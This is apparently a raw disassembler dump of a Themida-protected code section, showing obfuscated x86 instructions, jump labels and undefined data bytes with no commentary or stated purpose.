Themida_:0053779Ej push 7FD704E0h pop ecx dec ecx push esi mov esi, 1ED7604Ah jmp loc_536140 ; --------------------------------------------------------------------------- loc_53CD10: ; CODE XREF: Themida_:00541C88j push 0 sub [esp], edx pop edx sub edx, 0FFFFFFFFh jmp loc_538923 ; --------------------------------------------------------------------------- aIxscr db '‰åéçR',0 align 4 dd 1CE92CB3h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CD2F: ; CODE XREF: Themida_:0053A9D5j sub dword ptr [esp+4], 332E57A6h sub [esp+4], edi push 2820h mov [esp], ebp mov ebp, 332E57A6h add [esp+8], ebp push dword ptr [esp] pop ebp add esp, 4 pop edi pop edx add edx, 406E4CF5h push edx pop eax pop edx push ebp push ebx push ecx mov ecx, 5F126677h sub ecx, 1245244Fh jmp loc_540410 ; --------------------------------------------------------------------------- dd 5D8015Dh, 120D5AF2h, 29687E2Dh, 0EDE95B35h, 66000019h dd 8324048Bh, 348904ECh, 81E68924h, 4C6h, 0E9505200h, 4A1Ah dd 53968h, 241C8900h, 0E95092B3h, 0FFFFB926h ; --------------------------------------------------------------------------- loc_53CDB0: ; CODE XREF: Themida_:005422E4j push esi mov esi, 4 add edx, esi jmp loc_537A1B ; --------------------------------------------------------------------------- db 0B9h, 58h, 79h dd 0D929572Eh, 2A9E9h, 5FFD0100h, 5C242C87h, 3E44E9h, 4E95E00h dd 81000027h, 0E15D5CC3h, 4EBC131h, 2D2CE9h, 243C8B00h dd 8704C483h, 0E95C241Ch, 0FFFFC0BBh ; --------------------------------------------------------------------------- loc_53CDF8: ; CODE XREF: Themida_:0053DEA9j xchg ecx, [esp] pop esp mov [esp], esi push esp jmp loc_53DCC7 ; --------------------------------------------------------------------------- db 1, 0CBh, 81h dd 525403EBh, 6FC38123h, 59376C72h, 8B241C87h, 0A2E92424h dd 56FFFF8Ch, 506B44BEh, 0D1C28103h, 29795E6Ah, 0D1BD55F2h dd 29795E6Ah, 0C83E9EAh, 2C330000h, 242C3124h, 0E9242C33h dd 237Eh ; --------------------------------------------------------------------------- loc_53CE48: ; CODE XREF: Themida_:00539D6Aj push edi mov edi, 26FF2638h add ebx, 1A95325Fh push eax jmp loc_53A8F9 ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 2434FFDFh, 0E9241C8Bh, 3CF1h, 423D685Eh, 14890000h dd 76206824h, 3C890000h, 66DEBF24h, 0EC837482h, 243C8904h dd 80240481h, 0E9265A13h, 0FFFFAECCh ; --------------------------------------------------------------------------- loc_53CE94: ; CODE XREF: Themida_:00536023j push esi jmp loc_539735 ; --------------------------------------------------------------------------- dw 5551h dd 3F53B5BDh, 5DE9893Eh, 3342C181h, 0E9816F0Ch, 2C15573h dd 3180E981h, 0C801AA8Ah, 24048759h, 2D74E9h, 4C48100h dd 5000000h, 4, 405h, 24043300h, 33240431h, 248B2404h dd 7B3E924h, 89570000h, 4C781E7h, 0E9000000h, 15C1h, 6624248Bh dd 8324048Bh, 348904ECh, 0C531E924h, 532CFFFFh, 0FFA85AE9h dd 240CD3FFh, 8BAFE99Ch, 0E959FFFFh, 0FFFF9C88h, 17564FBFh dd 0BB53E92Fh, 0C381FFFFh, 42F41EF9h, 39BDBD55h, 7BE95FFFh db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CF33: ; CODE XREF: Themida_:0053F8D8j mov esi, edx pop edx sub ecx, esi pop esi xor ecx, 934E4A3h jmp loc_537B6A ; --------------------------------------------------------------------------- dd 5A5EF329h, 470168h, 0D2EBE900h, 0BF57FFFFh, 17665499h dd 0C781E7D1h, 174C00D2h, 0C074C781h, 0FA8929FBh, 0BC45E95Fh dd 0F66FFFFh, 87E902B6h, 89FFFFF4h, 76BF243Ch, 29531673h dd 0EB815FFBh, 26DE0AA0h, 0FF97CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_53CF8D: ; CODE XREF: Themida_:0053FA4Ej push 1B1E1BE5h jmp loc_53C048 ; --------------------------------------------------------------------------- db 5Ch dd 68240C89h, 607Ah, 83241C89h, 3C8904ECh, 51D1BF24h, 0E7C12510h dd 58E78102h, 813FEB3Ch, 211C43C7h, 0E9FB890Fh, 0FFFFDBA0h dd 4EC8148h, 89000000h, 5DBA2414h, 318FEA85h, 24148BD0h dd 4C481h, 1DE90000h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CFE3: ; CODE XREF: Themida_:0053E496j sub ebx, ecx mov ecx, [esp] add esp, 4 add ebp, ebx jmp loc_540F4E ; --------------------------------------------------------------------------- loc_53CFF5: ; CODE XREF: Themida_:0053A908j sub esp, 4 mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax not eax xchg eax, [esp] jmp loc_5393A6 ; --------------------------------------------------------------------------- dw 0F029h dd 0FF9522E9h, 0F90159FFh, 2C1815Fh, 0E9000000h, 0FFFFB297h ; --------------------------------------------------------------------------- loc_53D024: ; CODE XREF: Themida_:00538926j mov ecx, 50FA7D95h jmp loc_53D0FC ; --------------------------------------------------------------------------- dw 0F381h dd 9683F897h, 0FFE385E9h, 80C4FEFFh, 0E68834F4h, 0FFB38EE9h dd 8A77E9FFh, 248BFFFFh, 89575624h, 8E7BE9E7h, 0EABBFFFFh dd 293AF777h, 0DF0158C3h, 0F612E95Bh, 0D531FFFFh, 0E9895F5Ah dd 0C67AE95Dh, 15BFFFFh, 0E904244Ch, 0FFFFAB66h, 24048F5Bh dd 6624248Bh, 2404AB0Fh, 8A33E99Ch, 0E980FFFFh, 0BDE18055h dd 0F696B450h, 0FBEC80D4h, 4450E9h db 0 ; --------------------------------------------------------------------------- loc_53D0A1: ; CODE XREF: Themida_:0053E115j or ebx, 379B7BDFh push edx mov edx, 0F141434h sub ebx, edx pop edx jmp loc_53E49B ; --------------------------------------------------------------------------- db 0ADh, 83h, 0ECh dd 24348904h, 0FFEBD2E9h, 68F380FFh, 0D3F6CBFEh, 0EEE9D3F6h dd 0F7000030h, 0C317E9D0h, 0D829FFFFh, 52D0015Bh, 935E94BAh dd 55C28135h, 0E93C5370h, 0FFFFA713h, 24048B66h, 0FFEE20E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D0F5: ; CODE XREF: Themida_:00535B89j sub ebx, esi jmp loc_537C36 ; --------------------------------------------------------------------------- loc_53D0FC: ; CODE XREF: Themida_:0053D029j and edx, ecx pop ecx inc edx sub edx, 3926F570h add edi, edx jmp loc_53B84A ; --------------------------------------------------------------------------- aIGsv db '¾‰Â¹GéV=',0 dw 8900h dd 0C7E950E7h, 64FFFF98h, 0E9028B66h, 0AC1h, 0E9CE015Ah dd 1865h, 3CEFE95Bh, 875D0000h, 0FF5C240Ch, 34FF2434h dd 0B2FDE924h, 7B04FFFFh, 7B2CD028h, 148B7B2Ch, 4C48124h dd 83000000h, 0EE904ECh, 5CFFFFB9h, 9C2424D3h, 0FF8958E9h dd 0F02959FFh, 66BB535Eh, 0E96AAF7Fh, 1B5Fh ; --------------------------------------------------------------------------- loc_53D178: ; CODE XREF: Themida_:00539753j add esi, 2 jmp loc_5386C2 ; --------------------------------------------------------------------------- dd 0D2A8C381h, 0DE01B131h, 91F6815Bh, 46533D75h, 0F691E94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D196: ; CODE XREF: Themida_:00537FE3j or ecx, ebx pop ebx or ecx, 207531Bh push ebp mov ebp, 72517634h push edi jmp loc_5383B4 ; --------------------------------------------------------------------------- aBaVwi1usC db 'í/vWi1îéÖC',0 align 4 dd 24048B66h, 720868h, 243C8900h, 243C8B54h, 81E18951h dd 4C1h, 4C18100h, 0E9000000h, 0FFFFE477h ; --------------------------------------------------------------------------- loc_53D1DC: ; CODE XREF: Themida_:0053E327j not edx jmp loc_53BD23 ; --------------------------------------------------------------------------- loc_53D1E3: ; CODE XREF: Themida_:0053B8C8j add edx, ebp pop ebp mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_53CB6E ; --------------------------------------------------------------------------- loc_53D1F6: ; CODE XREF: Themida_:0053E7D9j neg edi xor edi, 385B343Dh jmp loc_538488 ; --------------------------------------------------------------------------- db 0B8h dd 4, 48BC301h, 0E0895024h, 405h, 40500h, 4870000h, 0FA23E924h dd 8152FFFFh, 4ECh, 24348900h, 877F0568h, 24348B1Dh, 81E78957h dd 4C7h, 0B92BE900h, 0F75FFFFFh, 51E94BD3h, 58FFFFC8h dd 6DC380h, 0F8B050C3h, 0B353ED0Ch, 0EDC8E92Bh, 0DA01FFFFh dd 8BD3895Bh, 0C4812414h, 4, 2B0E9h db 0 ; --------------------------------------------------------------------------- loc_53D271: ; CODE XREF: Themida_:0053606Ej and eax, ecx mov ecx, [esp] jmp loc_53F5F7 ; --------------------------------------------------------------------------- loc_53D27B: ; CODE XREF: Themida_:0053987Cj add ebx, edi jmp loc_540247 ; --------------------------------------------------------------------------- dw 0AF04h dd 3B936866h, 0FFBC82E9h, 0C7015AFFh, 74FF5758h, 34FF0424h dd 0C4835F24h, 24048F04h, 0F24248Bh, 9C2404A3h, 0FF8814E9h dd 4DCB80FFh, 0EBE9C3FEh db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D2B7: ; CODE XREF: Themida_:0053B024j mov bl, 14h jmp loc_53F53A ; --------------------------------------------------------------------------- loc_53D2BE: ; CODE XREF: Themida_:0053A753j push edx push edi push 40h pop edi push 2E02h mov [esp], edi sub dword ptr [esp], 1BDF070Eh jmp loc_537C89 ; --------------------------------------------------------------------------- dw 0FF68h dd 0E9000073h, 0FFFFE8FBh, 8904EC83h, 4BB7241Ch, 1548E950h dd 0C8290000h, 592434FFh, 4C481h, 0EC810000h, 4, 1EA1E9h dd 240C8900h, 53FE957h, 0AAE90000h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D317: ; CODE XREF: Themida_:0053C85Bj mov ecx, 2C6B286Ah sub ecx, 0FFFFFFFFh push 4BACh mov [esp], ebx mov ebx, 4FCE560Ah or ebx, 43E84234h shl ebx, 4 sub ebx, 0A3C93F48h add ecx, ebx pop ebx jmp loc_538FFB ; --------------------------------------------------------------------------- loc_53D343: ; CODE XREF: Themida_:00539151j push esp jmp loc_541382 ; --------------------------------------------------------------------------- loc_53D349: ; CODE XREF: Themida_:00542154j xor esi, 1E9F1657h xor esi, 43C04391h xor esi, 0A3C2BBECh jmp loc_535DB5 ; --------------------------------------------------------------------------- dd 97706C2Dh, 0E0D14842h, 3341E72Dh, 58C3899Eh, 622DBE56h dd 68686821h, 89000013h, 4EBA2414h, 292CAF0Fh, 0E6815AD6h dd 76B508E5h, 8104EEC1h, 0DCFFF5C6h, 8BF301FCh, 0C4832434h dd 0E9D3F704h, 0FFFFE39Eh, 1DF1E954h, 0C7310000h, 13D0E958h dd 0CB290000h, 83240C8Bh, 0C30104C4h, 0FF93F4E9h, 241C89FFh dd 4EC81h, 14890000h, 5CB35324h, 0B1E9DA88h, 0FFFFFFF5h dd 5D042474h, 0FFE768E9h, 9F04ACFFh, 1FB25266h, 0FFA309E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D3ED: ; CODE XREF: Themida_:00535F93j sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi mov esi, 1 push 16C0h mov [esp], eax push esi push 793E486Ah jmp loc_53FCE8 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 197709BBh, 0FCEFE931h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D41E: ; CODE XREF: Themida_:005423E0j push small 6D38h mov [esp], ax jmp loc_535AC1 ; --------------------------------------------------------------------------- loc_53D42B: ; CODE XREF: Themida_:00542238j xor edx, 81F0D8CBh sub edi, 7115726h sub edi, edx push edx jmp loc_541C83 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 83000000h, 0A8E904EDh, 54FFFFB1h, 0FFCA3AE9h dd 2434FFFFh, 83240C8Bh, 0D06804C4h, 89000059h, 0E589242Ch dd 4C581h, 9C680000h, 89000014h, 0AE92434h, 0C100002Ah dd 0E94005E0h, 0FFFFFC4Bh, 486DBB53h, 0C14369E6h, 0DBF708EBh dd 0FFDD18E9h, 5FFD29FFh, 875DE929h, 0D6E9240Ch db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53D4A3: ; CODE XREF: Themida_:00539542j shr ebp, 8 add ebp, 0D7031398h xor ecx, ebp jmp loc_536790 ; --------------------------------------------------------------------------- db 89h dd 91E9241Ch, 81000036h, 2EAh, 74FF5200h, 148B0424h, 4C48324h dd 8B24048Fh, 89662424h, 0E6E92404h, 49FFFF85h, 21B0E9h dd 89535000h, 0C9F8E9E3h, 0F6B6FFFFh, 0F10015B1h, 0FFB548E9h dd 48F58FFh, 66E95C24h, 8BFFFF99h, 0C483240Ch, 12126804h dd 63E90000h, 8000001Eh, 0D32806EAh, 0EB80585Ah, 0C0B60FF0h dd 0F9EE9h, 1C5F0900h, 22EEE9h, 0E9CE0100h, 2D79h ; --------------------------------------------------------------------------- loc_53D530: ; CODE XREF: Themida_:00537EAEj push 3E90h mov [esp], eax push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] not esi push ebx push esp jmp loc_53C51C ; --------------------------------------------------------------------------- loc_53D54F: ; CODE XREF: Themida_:0053967Dj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] mov eax, [esp] push ecx mov ecx, esp push ebx mov ebx, 53196BDAh jmp loc_53DE89 ; --------------------------------------------------------------------------- dd 0E289525Bh, 572BB53h, 0D3F741FAh, 8107EBC1h, 0D61099C3h dd 81D3F70Ch, 0ADE36DEBh, 0AA8CE9F1h, 0C181FFFFh, 9031217h dd 2959C889h, 19E958C7h, 5BFFFFB1h, 0FE38AA05h, 36BE5617h dd 815A4D6Ah, 5B610AF6h, 3E6C117h, 1EB368h, 241C8900h dd 1D22CDBBh, 0E9DE2123h, 1DF7h, 377DCE81h, 0EE81330Bh dd 2B0C274Fh, 815EF301h, 93D206C3h, 3EE81F0h, 1610459h dd 3C681DEh, 5B610459h, 5604EE83h, 42474FFh, 0FFB06DE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D5F9: ; CODE XREF: Themida_:0053FB43j push esi mov esi, 5BAD3474h jmp loc_53DCB3 ; --------------------------------------------------------------------------- loc_53D604: ; CODE XREF: Themida_:0053DC61j xchg ebx, [esp] mov esp, [esp] jmp loc_53D824 ; --------------------------------------------------------------------------- db 56h dd 727ABA52h, 0E6BE7550h, 314E0775h, 9CBA5AD6h, 813B5707h dd 817844C2h, 0C84BE946h, 0C789FFFFh, 3832E9h db 0 ; --------------------------------------------------------------------------- loc_53D635: ; CODE XREF: Themida_:005368D8j add eax, ebp mov ebp, [esp] jmp loc_53F98B ; --------------------------------------------------------------------------- db 50h dd 405E089h, 0E9000000h, 0FFFFCC01h, 0F680DEF6h, 0C0D6F61Bh dd 0C68003E6h, 0E9F000F3h, 4111h, 55595451h, 0FFDC45E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D669: ; CODE XREF: Themida_:0053E3D7j mov [esp], cx mov ch, 5 jmp loc_542206 ; --------------------------------------------------------------------------- dd 4DC9F181h, 0B8E915F4h, 81FFFFA6h, 9F105AF5h, 8A36E965h dd 0D801FFFFh, 4C0835Bh, 0FF8D00E9h, 2434FFFFh, 0EC835558h dd 24248904h, 0FF9F79E9h, 137068FFh, 3C890000h, 68E78924h dd 53DEh, 52240489h, 1B4FE9h, 0C9EB8100h, 8B72245Fh, 89502434h dd 9AB3E9E0h, 0BE56FFFFh, 4, 0FF9948E9h, 1E2F68FFh, 3C890000h dd 81E78924h, 4C7h, 1A0C6800h, 1C890000h, 9D5CE924h, 0D909FFFFh dd 2FF9E95Bh, 0E9540000h, 13B5h, 6FC380h, 0C3285BD8h, 5024048Bh dd 0BA52E089h, 97B7056h, 7052F281h, 0D001097Bh, 8124148Bh dd 4C4h, 40500h, 4870000h, 6AE95C24h, 0AC000025h, 0C9E9D830h dd 66FFFFBDh, 0B9665157h, 46E94209h, 89000009h, 4C681E6h dd 83000000h, 348704C6h, 0E9505C24h, 4364h, 0C32FB3BEh dd 8D50E976h, 2B9FFFFh, 5000000h, 27D06711h, 112DC801h dd 5927D067h, 8B240487h, 0F662424h, 6866C8BEh, 0C4E9358Ah dd 8100001Ah, 450672EBh, 4EC8318h, 51240489h, 0AE7270B9h dd 6BDCB80Fh, 0C8315531h, 58C30159h, 76BEC381h, 46E97F03h dd 57FFFFE0h, 3D7D5CBFh, 9188E92Eh, 452DFFFFh, 0E9CFFB43h dd 1B82h ; --------------------------------------------------------------------------- loc_53D7CC: ; CODE XREF: Themida_:0053FD15j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop eax pop esi loc_53D7E1: ; CODE XREF: Themida_:0053F431j push ebx jmp loc_53F029 ; --------------------------------------------------------------------------- db 81h dd 64582EFh, 0E9C35905h, 0FFFF82CDh ; --------------------------------------------------------------------------- loc_53D7F4: ; CODE XREF: Themida_:005362B5j add eax, 49B5235Eh add eax, edi jmp loc_53E298 ; --------------------------------------------------------------------------- dd 34FFDE01h, 0C518E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D80A: ; CODE XREF: Themida_:0053BE3Bj mov dword ptr [edx+38h], 1ECB6695h sub [edx+38h], ebp mov ebp, [esp] add esp, 4 push 18BCh jmp loc_53ED32 ; --------------------------------------------------------------------------- loc_53D824: ; CODE XREF: Themida_:0053D60Aj mov [esp], ebp jmp loc_540185 ; --------------------------------------------------------------------------- loc_53D82C: ; CODE XREF: Themida_:0053FF3Cj add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_53DC3E ; --------------------------------------------------------------------------- db 4 dd 2CD8288Dh, 55B6528Dh, 0FFD1E6E9h, 6E0FBFFFh, 0F9894DA5h dd 102C685Fh, 0C890000h, 0D1595824h, 57D8F7E8h, 527DFCBFh dd 98C7810Dh, 0E90F46A6h, 2AAFh, 0B3E9E628h, 6600001Ah dd 52CCB60Fh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 4812424h, 424h, 0C2815A00h, 4, 2016E9h, 0E2815A00h dd 58CD67F7h, 1C281h, 0BD550000h, 183F10B8h, 39DEF581h dd 42E9A6F3h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D8CB: ; CODE XREF: Themida_:0053BFCDj push esi push 26623B80h pop esi jmp loc_53F2DA ; --------------------------------------------------------------------------- db 0FFh dd 589D1C77h, 9C240411h, 0FF81DCE9h, 240487FFh, 0E9D8F758h dd 0FFFFFA70h, 0E0C68146h, 89F18BCAh, 0BA525EF3h, 2C920F41h dd 6792C281h, 81573A48h, 4ECh, 0AF72E900h, 665CFFFFh, 0E924048Bh dd 0FFFFC8E3h, 88E9E830h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D923: ; CODE XREF: Themida_:0054006Aj sub esi, 9B5E705Ah or edx, esi pop esi jmp loc_53E07C ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FFF711E9h, 0E9C701FFh, 2B1Fh ; --------------------------------------------------------------------------- loc_53D940: ; CODE XREF: Themida_:005411A4j mov ch, dl pop edx add ch, 52h sub ch, 29h jmp loc_535D54 ; --------------------------------------------------------------------------- dw 8159h dd 4ECh, 243C8900h, 0FFA629E9h, 50435BFFh, 7272B3B8h, 3D6CE921h dd 5580000h, 4, 0B4685751h, 5F729268h, 2EFC14Fh, 0D5BA5247h dd 0E9E35B65h, 0FFFF8C43h, 0FF241C89h, 5B042474h, 5C24048Fh dd 8957C330h, 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h dd 261FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53D9AE: ; CODE XREF: Themida_:00536F37j mov [esp], esi jmp loc_540DBF ; --------------------------------------------------------------------------- dw 489h aTxhf7 db '$TXhF7',0 align 10h dd 0BE243489h, 4, 525EF001h, 499BB850h, 18E905B2h, 5F000013h dd 17E468h, 24348900h, 268h, 0E9565E00h, 41D1h, 840FC909h dd 0FFFFFE26h, 9068E955h, 74FFFFFFh, 34FF0424h, 0C4835924h dd 24048F04h, 0FFD50FE9h, 81CF01FFh, 0CC05C3EFh, 1E685948h dd 89000025h, 0BFBB241Ch, 0C102FE0Dh, 0B5E903E3h, 0BBFFFFA4h dd 141621A4h, 0FFA62CE9h, 0AAE9ACFFh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53DA3B: ; CODE XREF: Themida_:00539294j add esp, 4 loc_53DA41: ; CODE XREF: Themida_:00541666j sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx jmp loc_53E388 ; --------------------------------------------------------------------------- loc_53DA5D: ; CODE XREF: Themida_:0053AD68j mov esi, [esp] add esp, 4 push ebp mov ebp, 1BEA73FEh shl ebp, 1 add ebp, 1CBF3646h jmp loc_5405E0 ; --------------------------------------------------------------------------- loc_53DA79: ; CODE XREF: Themida_:00539636j push edx mov edx, esp jmp loc_53DBCB ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0C7h dd 5EFFFFC9h, 36B95147h, 2101270Fh, 240C8BCFh, 4C481h dd 0CE90000h, 87FFFF9Bh, 685C242Ch, 23A7h, 89241489h, 0C859E9E2h dd 0C381FFFFh, 5D702C8Bh, 0FFEEA8E9h, 425E5DFFh, 0FFBA95E9h dd 0C1665FFFh, 56605E0h, 8166F38Eh, 663F5CE9h, 8166C101h dd 583F5CC1h, 85C98166h, 0E9816608h, 0EBE91F44h, 66000038h dd 50240C8Bh, 0FFB17CE9h, 57C181FFh, 1A2ACC8h, 5AE959CBh dd 0BAFFFF93h, 6ACA14DDh, 8107EAC1h, 533696C2h, 0AA3FE942h dd 5650FFFFh, 0F73A01BEh, 8E92E92Fh, 8B66FFFFh, 0EC832404h dd 241C8904h, 3B2968h, 4EC8300h, 83242489h, 8F042404h dd 0E9562404h, 0FFFFB755h ; --------------------------------------------------------------------------- loc_53DB44: ; CODE XREF: Themida_:005400C8j add esp, 4 xor eax, ebx jmp loc_5389E8 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 24D3665Ch, 62E99C24h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DB5F: ; CODE XREF: Themida_:0053AE7Fj mov edi, 48BC2077h sub eax, edi pop edi push edi jmp loc_54037A ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EAh dd 5D0233E8h, 5A5AD001h, 0FF9C5FE9h, 0EF8059FFh, 0C11EE9EFh dd 0D000FFFFh, 0FFEBC5E9h, 2474FFFFh, 0E2E95B04h, 5300003Bh dd 0C6E905B3h, 0BBFFFF93h, 4, 16E9DF01h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53DBAB: ; CODE XREF: Themida_:0053DE67j pop ecx jmp loc_540A6C ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 4C3815Ch, 0E9000000h, 4705h, 8B2434FFh, 0BE92404h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DBCB: ; CODE XREF: Themida_:0053DA7Cj add edx, 4 push esi push edi push 15112196h jmp loc_53762F ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E7895724h, 0FFE734E9h, 0E16866FFh, 489663Bh, 8A32E924h dd 0E789FFFFh, 3B5FBD55h, 0C58140EDh, 101F23B5h, 81FFED83h dd 0C5F11F5h, 5DEF0151h, 4B850h, 0C7010000h, 582434FFh dd 0FFCC75E9h db 0FFh ; --------------------------------------------------------------------------- loc_53DC21: ; CODE XREF: Themida_:00537951j xchg ebp, [esp] pop esp jmp loc_535AC1 ; --------------------------------------------------------------------------- dw 8951h dd 59CF89F1h, 1DB1E95Eh, 0C890000h, 0D8AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DC3E: ; CODE XREF: Themida_:0053D83Ej push esi push eax mov eax, 30490DA0h jmp loc_53A00F ; --------------------------------------------------------------------------- loc_53DC4A: ; CODE XREF: Themida_:00542271j add esp, 4 jmp loc_53718B ; --------------------------------------------------------------------------- db 5Ah, 21h, 0F7h dd 0A60CE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DC5E: ; CODE XREF: Themida_:00539586j sub ebx, 4 jmp loc_53D604 ; --------------------------------------------------------------------------- dw 0E9ADh dd 0FFFFA11Fh ; --------------------------------------------------------------------------- loc_53DC6C: ; CODE XREF: Themida_:00541BB8j neg ebp not ebp inc ebp add ebp, 3A0B3FBAh jmp loc_54069E ; --------------------------------------------------------------------------- dd 0CE4FB7BFh, 0C7F78125h, 31766643h, 0C1815FF9h, 39CC3061h dd 2CEBE9h, 0E0895000h, 405h, 0CB43E900h, 0E981FFFFh, 6C5E6EBBh dd 7809E981h, 0FDE9E87Eh db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53DCB3: ; CODE XREF: Themida_:0053D5FFj shr esi, 2 jmp loc_540ACD ; --------------------------------------------------------------------------- loc_53DCBB: ; CODE XREF: Themida_:00537C97j mov ebx, 969024Ah and ebp, ebx jmp loc_53B8BB ; --------------------------------------------------------------------------- loc_53DCC7: ; CODE XREF: Themida_:0053CE00j mov esi, [esp] add esp, 4 add esi, 4 sub esp, 4 jmp loc_53B15E ; --------------------------------------------------------------------------- loc_53DCE1: ; CODE XREF: Themida_:0053BAE7j or ebp, esi jmp loc_5393E6 ; --------------------------------------------------------------------------- dd 2474FF57h, 0C4C4E904h, 489FFFFh, 2474FF24h, 0ECE95804h dd 5AFFFFE5h, 3C00C581h, 0DDF72256h, 0E710E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DD0E: ; CODE XREF: Themida_:00541B32j pop ebp jmp loc_53AC00 ; --------------------------------------------------------------------------- loc_53DD14: ; CODE XREF: Themida_:0053AD21j pop eax push 6A51h mov [esp], ebp jmp loc_5367AF ; --------------------------------------------------------------------------- aRsc_0 db 'Ré–+',0 align 4 dd 19AA68h, 243C8900h, 0FD3E9h db 0 ; --------------------------------------------------------------------------- loc_53DD35: ; CODE XREF: Themida_:0053B107j shr ebp, 4 add ebp, 3E172FE3h push eax mov eax, 57847089h push eax not dword ptr [esp] pop eax or eax, 1ADB7512h and eax, 42231774h sub eax, 469E2B79h or eax, 446E5C68h add eax, 110004h add ebp, eax pop eax neg ebp neg ebp jmp loc_540673 ; --------------------------------------------------------------------------- dw 2BDh dd 29000000h, 242C8BEAh, 4C481h, 0FF520000h, 8B042474h dd 89502414h, 4BB53E0h, 0E9000000h, 0FFFFF8F6h ; --------------------------------------------------------------------------- loc_53DD94: ; CODE XREF: Themida_:00538D47j mov edx, 1Ch sub edx, 230D3475h sub edx, 3ADD1DECh add edx, edi push esi mov esi, 8535C95h xchg ebx, esi jmp loc_540DDA ; --------------------------------------------------------------------------- loc_53DDB4: ; CODE XREF: Themida_:0053942Ej push edi push ebp push ebx mov ebx, 33B818CDh jmp loc_53B29C ; --------------------------------------------------------------------------- db 4Eh, 81h, 0EEh dd 0D8D6296h, 0A3CAEE81h, 0F731DBC7h, 0E6BE565Eh, 0E962E532h dd 0FFFFEEDBh, 9C242CD2h, 0FF7CDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_53DDE5: ; CODE XREF: Themida_:005380EFj sub dword ptr [esp], 3E0E38EEh pop ebx add ebx, 3E0E38EEh mov ecx, [esp] push 7165h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_53A476 ; --------------------------------------------------------------------------- db 42h dd 0C77E9h, 0D2F74A00h, 0D355F281h, 59E9F2D4h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DE2F: ; CODE XREF: Themida_:0053C0EDj mov ebx, ecx pop ecx push ebx mov ecx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_53976C ; --------------------------------------------------------------------------- loc_53DE47: ; CODE XREF: Themida_:0053C07Aj pop ebp sub esi, ebx pop ebx jmp loc_53965F ; --------------------------------------------------------------------------- loc_53DE50: ; CODE XREF: Themida_:0053B9E1j dec ebx push 7C4Fh mov [esp], ecx push esi mov esi, 11245F72h push esi xor dword ptr [esp], 33F8753Ah jmp loc_53DBAB ; --------------------------------------------------------------------------- dd 81D3F75Ah, 0AC5C01EBh, 0F73E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53DE7A: ; CODE XREF: Themida_:00538F6Cj neg ebp add ebp, 7BC5B9E3h sub ecx, ebp jmp loc_53649C ; --------------------------------------------------------------------------- loc_53DE89: ; CODE XREF: Themida_:0053D567j shr ebx, 8 neg ebx sub ebx, 391A16F0h shl ebx, 4 add ebx, 53606063h xor ebx, 0BC8D5AB7h add ecx, ebx pop ebx sub ecx, 4 jmp loc_53CDF8 ; --------------------------------------------------------------------------- dw 1489h dd 0A48EE924h, 0DBBEFFFFh, 817B5148h, 955ACFC6h, 5EF789F8h dd 34FFFD31h, 1138E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53DECE: ; CODE XREF: Themida_:0053BBE9j add edi, 4 jmp loc_541C4D ; --------------------------------------------------------------------------- db 59h, 53h, 89h dd 0C1F1E9E3h, 0CE01FFFFh, 0FFC6DAE9h, 24248BFFh, 50241489h dd 7BCBE99Ch, 0E981FFFFh, 440B4D7Fh, 0FFA971E9h, 0E95B54FFh dd 0FFFF9014h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_540710 ; --------------------------------------------------------------------------- dd 0E95EF289h, 0FFFFEEFBh, 4BE56h, 0ACE90000h, 0FFFFFFB5h 